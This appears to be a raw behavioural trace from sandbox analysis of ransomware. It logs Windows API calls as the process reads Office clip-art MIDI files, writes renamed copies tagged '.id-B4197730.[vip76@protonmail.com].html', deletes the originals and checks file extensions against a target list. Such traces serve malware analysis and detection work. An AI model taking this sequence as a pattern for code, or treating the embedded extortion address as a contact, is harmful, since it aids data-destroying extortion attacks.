	[0180.645] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ocean_01.mid.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0180.646] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ocean_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0180.646] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.646] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.646] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ocean_01.mid.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0180.647] GetLastError () returned 0x0
	[0180.647] ReadFile (in: hFile=0x514, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0x1540, lpOverlapped=0x0) returned 1
	[0180.649] WriteFile (in: hFile=0x36c, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0x1550, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0x1550, lpOverlapped=0x0) returned 1
	[0180.650] ReadFile (in: hFile=0x514, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0180.650] WriteFile (in: hFile=0x36c, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0180.650] SetEndOfFile (hFile=0x36c) returned 1
	[0180.650] CloseHandle (hObject=0x36c) returned 1
	[0180.650] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.650] SetEndOfFile (hFile=0x514) returned 1
	[0180.653] CloseHandle (hObject=0x514) returned 1
	[0180.653] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0180.653] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ocean_01.mid")) returned 1
	[0180.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 68
	[0180.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 68
	[0180.654] lstrlenW (lpString=".doc") returned 4
	[0180.654] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0180.654] lstrlenW (lpString=".docx") returned 5
	[0180.654] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0180.654] lstrlenW (lpString=".pdf") returned 4
	[0180.654] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0180.654] lstrlenW (lpString=".xls") returned 4
	[0180.654] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0180.654] lstrlenW (lpString=".xlsx") returned 5
	[0180.654] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0180.654] lstrlenW (lpString=".ppt") returned 4
	[0180.654] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0180.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 68
	[0180.654] lstrlenW (lpString=".zip") returned 4
	[0180.654] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0180.654] lstrlenW (lpString=".rar") returned 4
	[0180.654] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0180.655] lstrlenW (lpString=".bz2") returned 4
	[0180.655] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0180.655] lstrlenW (lpString=".7z") returned 3
	[0180.655] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0180.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 68
	[0180.655] lstrlenW (lpString=".dbf") returned 4
	[0180.655] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0180.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 68
	[0180.655] lstrlenW (lpString=".1cd") returned 4
	[0180.655] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0180.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 68
	[0180.655] lstrlenW (lpString=".jpg") returned 4
	[0180.655] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0180.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 68
	[0180.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 68
	[0180.655] lstrlenW (lpString=".doc") returned 4
	[0180.655] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0180.655] lstrlenW (lpString=".docx") returned 5
	[0180.655] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0180.655] lstrlenW (lpString=".pdf") returned 4
	[0180.655] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0180.655] lstrlenW (lpString=".xls") returned 4
	[0180.655] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0180.655] lstrlenW (lpString=".xlsx") returned 5
	[0180.655] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0180.655] lstrlenW (lpString=".ppt") returned 4
	[0180.655] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0180.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 68
	[0180.655] lstrlenW (lpString=".zip") returned 4
	[0180.655] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0180.655] lstrlenW (lpString=".rar") returned 4
	[0180.655] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0180.655] lstrlenW (lpString=".bz2") returned 4
	[0180.656] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0180.656] lstrlenW (lpString=".7z") returned 3
	[0180.656] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0180.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 68
	[0180.656] lstrlenW (lpString=".dbf") returned 4
	[0180.656] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0180.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 68
	[0180.656] lstrlenW (lpString=".1cd") returned 4
	[0180.656] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0180.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 68
	[0180.656] lstrlenW (lpString=".jpg") returned 4
	[0180.656] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0180.656] lstrcmpiW (lpString1=".MID", lpString2=".html") returned 1
	[0180.656] lstrlenW (lpString="OUTDR_01.MID") returned 12
	[0180.656] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\outdr_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0180.657] GetFileSizeEx (in: hFile=0x514, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=6644) returned 1
	[0180.657] CloseHandle (hObject=0x514) returned 1
	[0180.657] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\outdr_01.mid")) returned 0x220
	[0180.658] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\outdr_01.mid.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0180.658] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\outdr_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0180.658] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.658] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.658] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\outdr_01.mid.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0180.659] GetLastError () returned 0x0
	[0180.659] ReadFile (in: hFile=0x514, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0x19f4, lpOverlapped=0x0) returned 1
	[0181.150] WriteFile (in: hFile=0x36c, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0x1a00, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0x1a00, lpOverlapped=0x0) returned 1
	[0181.151] ReadFile (in: hFile=0x514, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0181.151] WriteFile (in: hFile=0x36c, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0181.152] SetEndOfFile (hFile=0x36c) returned 1
	[0181.152] CloseHandle (hObject=0x36c) returned 1
	[0181.152] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.152] SetEndOfFile (hFile=0x514) returned 1
	[0181.154] CloseHandle (hObject=0x514) returned 1
	[0181.155] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0183.673] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\outdr_01.mid")) returned 1
	[0184.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 68
	[0184.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 68
	[0184.085] lstrlenW (lpString=".doc") returned 4
	[0184.086] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0184.086] lstrlenW (lpString=".docx") returned 5
	[0184.086] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0184.086] lstrlenW (lpString=".pdf") returned 4
	[0184.086] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0184.086] lstrlenW (lpString=".xls") returned 4
	[0184.086] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0184.086] lstrlenW (lpString=".xlsx") returned 5
	[0184.086] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0184.086] lstrlenW (lpString=".ppt") returned 4
	[0184.086] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0184.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 68
	[0184.086] lstrlenW (lpString=".zip") returned 4
	[0184.086] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0184.086] lstrlenW (lpString=".rar") returned 4
	[0184.086] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0184.086] lstrlenW (lpString=".bz2") returned 4
	[0184.086] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0184.087] lstrlenW (lpString=".7z") returned 3
	[0184.087] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0184.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 68
	[0184.087] lstrlenW (lpString=".dbf") returned 4
	[0184.087] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0184.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 68
	[0184.087] lstrlenW (lpString=".1cd") returned 4
	[0184.087] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0184.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 68
	[0184.087] lstrlenW (lpString=".jpg") returned 4
	[0184.087] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0184.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 68
	[0184.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 68
	[0184.087] lstrlenW (lpString=".doc") returned 4
	[0184.087] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0184.087] lstrlenW (lpString=".docx") returned 5
	[0184.087] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0184.087] lstrlenW (lpString=".pdf") returned 4
	[0184.087] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0184.087] lstrlenW (lpString=".xls") returned 4
	[0184.087] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0184.087] lstrlenW (lpString=".xlsx") returned 5
	[0184.088] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0184.088] lstrlenW (lpString=".ppt") returned 4
	[0184.088] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0184.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 68
	[0184.088] lstrlenW (lpString=".zip") returned 4
	[0184.088] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0184.088] lstrlenW (lpString=".rar") returned 4
	[0184.088] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0184.088] lstrlenW (lpString=".bz2") returned 4
	[0184.088] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0184.088] lstrlenW (lpString=".7z") returned 3
	[0184.088] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0184.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 68
	[0184.088] lstrlenW (lpString=".dbf") returned 4
	[0184.088] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0184.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 68
	[0184.088] lstrlenW (lpString=".1cd") returned 4
	[0184.088] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0184.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 68
	[0184.089] lstrlenW (lpString=".jpg") returned 4
	[0184.089] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0184.089] lstrcmpiW (lpString1=".MID", lpString2=".html") returned 1
	[0184.089] lstrlenW (lpString="SWEST_01.MID") returned 12
	[0184.089] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\swest_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b8
	[0184.091] GetFileSizeEx (in: hFile=0x5b8, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=8501) returned 1
	[0184.091] CloseHandle (hObject=0x5b8) returned 1
	[0184.091] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\swest_01.mid")) returned 0x220
	[0184.091] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\swest_01.mid.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0184.092] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\swest_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b8
	[0184.092] SetFilePointerEx (in: hFile=0x5b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.092] SetFilePointerEx (in: hFile=0x5b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.092] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\swest_01.mid.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0184.094] GetLastError () returned 0x0
	[0184.094] ReadFile (in: hFile=0x5b8, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0x2135, lpOverlapped=0x0) returned 1
	[0184.096] WriteFile (in: hFile=0x554, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0x2140, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0x2140, lpOverlapped=0x0) returned 1
	[0184.098] ReadFile (in: hFile=0x5b8, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0184.098] WriteFile (in: hFile=0x554, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0184.098] SetEndOfFile (hFile=0x554) returned 1
	[0184.098] CloseHandle (hObject=0x554) returned 1
	[0184.099] SetFilePointerEx (in: hFile=0x5b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.099] SetEndOfFile (hFile=0x5b8) returned 1
	[0184.103] CloseHandle (hObject=0x5b8) returned 1
	[0184.103] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0184.104] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\swest_01.mid")) returned 1
	[0184.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 68
	[0184.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 68
	[0184.105] lstrlenW (lpString=".doc") returned 4
	[0184.105] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0184.105] lstrlenW (lpString=".docx") returned 5
	[0184.105] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0184.105] lstrlenW (lpString=".pdf") returned 4
	[0184.105] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0184.105] lstrlenW (lpString=".xls") returned 4
	[0184.105] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0184.105] lstrlenW (lpString=".xlsx") returned 5
	[0184.105] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0184.105] lstrlenW (lpString=".ppt") returned 4
	[0184.105] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0184.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 68
	[0184.106] lstrlenW (lpString=".zip") returned 4
	[0184.106] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0184.106] lstrlenW (lpString=".rar") returned 4
	[0184.106] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0184.106] lstrlenW (lpString=".bz2") returned 4
	[0184.106] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0184.106] lstrlenW (lpString=".7z") returned 3
	[0184.106] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0184.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 68
	[0184.106] lstrlenW (lpString=".dbf") returned 4
	[0184.106] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0184.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 68
	[0184.106] lstrlenW (lpString=".1cd") returned 4
	[0184.106] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0184.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 68
	[0184.106] lstrlenW (lpString=".jpg") returned 4
	[0184.106] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0184.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 68
	[0184.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 68
	[0184.107] lstrlenW (lpString=".doc") returned 4
	[0184.107] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0184.107] lstrlenW (lpString=".docx") returned 5
	[0184.107] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0184.107] lstrlenW (lpString=".pdf") returned 4
	[0184.107] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0184.107] lstrlenW (lpString=".xls") returned 4
	[0184.107] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0184.107] lstrlenW (lpString=".xlsx") returned 5
	[0184.107] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0184.107] lstrlenW (lpString=".ppt") returned 4
	[0184.107] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0184.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 68
	[0184.107] lstrlenW (lpString=".zip") returned 4
	[0184.107] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0184.107] lstrlenW (lpString=".rar") returned 4
	[0184.107] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0184.107] lstrlenW (lpString=".bz2") returned 4
	[0184.107] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0184.107] lstrlenW (lpString=".7z") returned 3
	[0184.108] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0184.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 68
	[0184.108] lstrlenW (lpString=".dbf") returned 4
	[0184.108] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0184.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 68
	[0184.108] lstrlenW (lpString=".1cd") returned 4
	[0184.108] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0184.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 68
	[0184.108] lstrlenW (lpString=".jpg") returned 4
	[0184.108] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0184.108] lstrcmpiW (lpString1=".MID", lpString2=".html") returned 1
	[0184.108] lstrlenW (lpString="URBAN_01.MID") returned 12
	[0184.108] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\urban_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5bc
	[0184.418] GetFileSizeEx (in: hFile=0x5bc, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=13358) returned 1
	[0184.418] CloseHandle (hObject=0x5bc) returned 1
	[0184.418] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\urban_01.mid")) returned 0x220
